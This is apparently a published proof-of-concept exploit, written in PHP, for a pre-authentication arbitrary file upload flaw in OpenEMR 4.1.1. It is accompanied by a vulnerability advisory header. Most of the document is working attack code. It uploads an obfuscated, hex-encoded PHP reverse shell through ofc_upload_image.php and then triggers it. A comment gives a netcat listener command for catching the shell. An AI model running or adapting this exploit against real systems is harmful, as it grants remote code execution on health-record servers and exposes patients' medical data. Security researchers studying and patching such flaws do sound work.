OpenEMR 4.1.1 - 'ofc_upload_image.php' Arbitrary File Upload

<?php

/*

OpenEMR 4.1.1 (ofc_upload_image.php) Arbitrary File Upload Vulnerability


Vendor: OpenEMR
Product web page: http://www.open-emr.org
Affected version: 4.1.1

Summary: OpenEMR is a Free and Open Source electronic health records and medical
practice management application that can run on Windows, Linux, Mac OS X, and many
other platforms.

Desc: The vulnerability is caused due to the improper verification of uploaded
files in '/library/openflashchart/php-ofc-library/ofc_upload_image.php' script
thru the 'name' parameter. This can be exploited to execute arbitrary PHP code
by uploading a malicious PHP script with multiple extensions.

================================================================================
/library/openflashchart/php-ofc-library/ofc_upload_image.php:
-------------------------------------------------------------

21: $default_path = '../tmp-upload-images/';
23: if (!file_exists($default_path)) mkdir($default_path, 0777, true);
26: $destination = $default_path . basename( $_GET[ 'name' ] );
28: echo 'Saving your image to: '. $destination;
39: $jfh = fopen($destination, 'w') or die("can't open file");
40: fwrite($jfh, $HTTP_RAW_POST_DATA);
41: fclose($jfh);
46: exit();

================================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Fedora Linux
           Apache2, PHP 5.4 MySQL 5.5


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5126
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php


09.02.2013

*/


error_reporting(0);
set_time_limit(0);

$go = "\033[0;92m"; $no = "\033[0;37m";
echo $no;

$host = $argv[1];

$sock = fsockopen($host, 80, $errno, $errstr, 30);

if(!$sock)
{
    echo "\n> $errstr ($errno)\n";
    die();
}

function r_shell($sc)
{
    for($z = 0; $z < strlen($sc); $z += 2)
    $exec .= chr(hexdec(substr($sc,$z,2)));
    return $exec;
}

print "\n+--------------------------------------------------------+";
print "\n+                                                        +";
print "\n+ OpenEMR 4.1.1 Remote Reverse Shell Exploit (pre-auth)  +";
print "\n+                                                        +";
print "\n+                   ID: ZSL-2013-5126                    +";
print "\n+                                                        +";
print "\n+          Copyleft (c) 2013, Zero Science Lab           +";
print "\n+                                                        +";
print "\n+--------------------------------------------------------+\n\n";

// PoC for Linux
// Before running this script, listen on 127.0.0.1: nc -vv -n -l -p 1234

if ($argc < 2)
{
    print "\n> Usage: php $argv[0] <target>\n\n";
    die();
}


$pl = r_shell("3c3f7068700d0a".              "7365745f74696d".              "655f6c696d6974".
              "202830293b0d0a".              "246970203d2027".              "3132372e302e30".
              "2e31273b0d0a24".              "706f7274203d20".              "313233343b0d0a".
              "246368756e6b5f".              "73697a65203d20".              "313430303b0d0a".
              "2477726974655f".              "61203d206e756c".              "6c3b2024657272".
              "6f725f61203d20".              "6e756c6c3b0d0a".              "247368656c6c20".
              "3d2027756e616d".              "65202d613b2077".              "3b2069643b202f".
                             "62696e2f736820".              "2d69273b0d0a24".
                             "6461656d6f6e20".              "3d20303b202464".
                             "65627567203d20".              "303b0d0a696620".
                             "2866756e637469".              "6f6e5f65786973".
                             "7473282770636e".              "746c5f666f726b".
                             "272929207b0d0a".              "24706964203d20".
                             "70636e746c5f66".              "6f726b28293b0d".
              "0a696620282470".              "6964203d3d202d".              "3129207b0d0a70".
              "72696e74697428".              "224552524f523a".              "2043616e277420".
              "666f726b22293b".              "20657869742831".              "293b7d0d0a6966".
              "20282470696429".              "207b6578697428".              "30293b7d0d0a69".
              "662028706f7369".              "785f7365747369".              "642829203d3d20".
              "2d3129207b0d0a".              "7072696e746974".              "28224572726f72".
              "3a2043616e2774".              "20736574736964".              "282922293b2065".
                             "7869742831293b".              "7d0d0a24646165".
                             "6d6f6e203d2031".              "3b7d20656c7365".
                             "207b0d0a707269".              "6e746974282257".
                             "41524e494e473a".              "204661696c6564".
                             "20746f20646165".              "6d6f6e6973652e".
                             "20205468697320".              "69732071756974".
                             "6520636f6d6d6f".              "6e20616e64206e".
              "6f742066617461".              "6c2e22293b7d0d".              "0a636864697228".
              "222f22293b2075".              "6d61736b283029".              "3b0d0a24736f63".
              "6b203d2066736f".              "636b6f70656e28".              "2469702c202470".
              "6f72742c202465".              "72726e6f2c2024".              "6572727374722c".
              "203330293b0d0a".              "69662028212473".              "6f636b29207b0d".
              "0a7072696e7469".              "74282224657272".              "73747220282465".
              "72726e6f292229".              "3b206578697428".              "31293b7d0d0a24".

              "64657363726970746f7273706563203d206172726179280d0a30203d3e206172726179282270".
              "697065222c20227222292c0d0a31203d3e206172726179282270697065222c20227722292c0d".
              "0a32203d3e206172726179282270697065222c2022772229293b0d0a2470726f63657373203d".
              "2070726f635f6f70656e28247368656c6c2c202464657363726970746f72737065632c202470".
              "69706573293b0d0a696620282169735f7265736f75726365282470726f636573732929207b0d".
              "0a7072696e74697428224552524f523a2043616e277420737061776e207368656c6c22293b0d".
              "0a657869742831293b7d0d0a73747265616d5f7365745f626c6f636b696e6728247069706573".
              "5b305d2c2030293b0d0a73747265616d5f7365745f626c6f636b696e67282470697065735b31".
              "5d2c2030293b0d0a73747265616d5f7365745f626c6f636b696e67282470697065735b325d2c".
              "2030293b0d0a73747265616d5f7365745f626c6f636b696e672824736f636b2c2030293b0d0a".
              "7072696e74697428225375636365737366756c6c79206f70656e656420726576657273652073".
              "68656c6c20746f202469703a24706f727422293b0d0a7768696c6520283129207b0d0a696620".
              "2866656f662824736f636b2929207b0d0a7072696e74697428224552524f523a205368656c6c".
              "20636f6e6e656374696f6e207465726d696e6174656422293b20627265616b3b7d0d0a696620".
              "2866656f66282470697065735b315d2929207b0d0a7072696e74697428224552524f523a2053".
              "68656c6c2070726f63657373207465726d696e6174656422293b20627265616b3b7d0d0a2472".
              "6561645f61203d2061727261792824736f636b2c202470697065735b315d2c20247069706573".
              "5b325d293b0d0a246e756d5f6368616e6765645f736f636b657473203d2073747265616d5f73".
              "656c6563742824726561645f612c202477726974655f612c20246572726f725f612c206e756c".
              "6c293b0d0a69662028696e5f61727261792824736f636b2c2024726561645f612929207b0d0a".
              "6966202824646562756729207072696e7469742822534f434b205245414422293b0d0a24696e".
              "707574203d2066726561642824736f636b2c20246368756e6b5f73697a65293b0d0a69662028".
              "24646562756729207072696e7469742822534f434b3a2024696e70757422293b0d0a66777269".
              "7465282470697065735b305d2c2024696e707574293b7d0d0a69662028696e5f617272617928".
              "2470697065735b315d2c2024726561645f612929207b0d0a6966202824646562756729207072".
              "696e74697428225354444f5554205245414422293b0d0a24696e707574203d20667265616428".
              "2470697065735b315d2c20246368756e6b5f73697a65293b0d0a696620282464656275672920".
              "7072696e74697428225354444f55543a2024696e70757422293b0d0a6677726974652824736f".
              "636b2c2024696e707574293b7d0d0a69662028696e5f6172726179282470697065735b325d2c".
              "2024726561645f612929207b0d0a6966202824646562756729207072696e7469742822535444".
              "455252205245414422293b0d0a24696e707574203d206672656164282470697065735b325d2c".
              "20246368756e6b5f73697a65293b0d0a6966202824646562756729207072696e746974282253".
              "54444552523a2024696e70757422293b0d0a6677726974652824736f636b2c2024696e707574".
              "293b7d7d0d0a66636c6f73652824736f636b293b0d0a66636c6f7365282470697065735b305d".
              "293b0d0a66636c6f7365282470697065735b315d293b0d0a66636c6f7365282470697065735b".
              "325d293b0d0a70726f635f636c6f7365282470726f63657373293b0d0a66756e6374696f6e20".
              "7072696e746974202824737472696e6729207b0d0a6966202821246461656d6f6e29207b2070".
              "72696e74202224737472696e675c6e223b7d7d0d0a3f3e"); //PHP Reverse Shell, PTMNKY.


echo "\n> Writing reverse shell file";

$pckt  = "POST /openemr/library/openflashchart/php-ofc-library/ofc_upload_image.php?name=joxypoxy.php HTTP/1.1\r\n";
$pckt .= "Host: {$host}\r\n";
$pckt .= "Content-Length: ".strlen($pl)."\r\n\r\n{$pl}";

fputs($sock, $pckt);

sleep (2);
print " ...."; echo $go."[OK]"; echo $no;

echo "\n> Calling your listener";

$pckt  = "GET /openemr/library/openflashchart/tmp-upload-images/joxypoxy.php HTTP/1.0\r\n";
$pckt .= "Host: {$host}\r\n";
$pckt .= "Connection: Keep-Alive\r\n\r\n";

fputs($sock, $pckt);

sleep (2);
print " ........."; echo $go."[OK]"; echo $no."\n";

// interact_sh();
echo "\n> Enjoy!\n\n";

?>